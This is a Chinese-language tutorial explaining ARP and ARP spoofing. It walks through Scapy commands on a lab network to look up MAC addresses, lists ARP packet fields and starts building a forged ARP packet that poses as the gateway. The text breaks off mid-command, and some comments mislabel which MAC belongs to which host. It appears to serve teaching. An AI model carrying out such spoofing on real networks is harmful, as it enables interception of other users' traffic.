ARP
arp协议
ARP(Address Resolution Protocol)即地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址,位于数据链路层。
arp欺骗
ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning),通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,从而实现窃听数据包
构造数据包
环境
网关 : 10.35.71.254
目标机 : 10.35.71.205
攻击机 : 10.35.68.121
利用Scapy获取分别的ip地址
>>> getmacbyip('10.35.71.205')
'a0:8c:fd:1b:cb:90' #网关mac地址
>>> getmacbyip('10.35.71.254')
'74:25:8a:6a:09:1d #目标机网络地址
>>> get_if_hwaddr('eth0')
'00:0c:29:62:44:de' #自己的mac地址
ARP
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : FieldLenField = (None)
plen : FieldLenField = (None)
op : ShortEnumField = (1)
hwsrc : MultipleTypeField = (None)
psrc : MultipleTypeField = (None)
hwdst : MultipleTypeField = (None)
pdst : MultipleTypeField = (None)
构造ARP需要我们注意的有5个参数:
-
op 取值为1或者2,代表ARP请求或者响应包。
-
hwsrc 发送方Mac地址。
-
psrc 发送方IP地址。
-
hwdst 目标Mac地址。
-
pdst 目标IP地址。
ARP欺骗:发送arp包,让目标机
以为是网关
发过来的,并且网关mac
对应的是攻击机ip
,使目标机以为攻击机mac
为网关的mac
packet=Ether(src=攻击机mac
,dst=目标机mac
)/ARP(hwsrc=攻击机mac
,hwdst=目标机mac
,psrc=网关ip
,pdst=目标机ip
,op=1)
>>> mac_self = get_if_hwaddr('eth0')
>>> mac_target = getmacbyip('10.35.71.205')
>>>packet=Ether(src=mac_self,dst=mac_target)/ARP(hwsrc=mac_self,hwdst=mac_target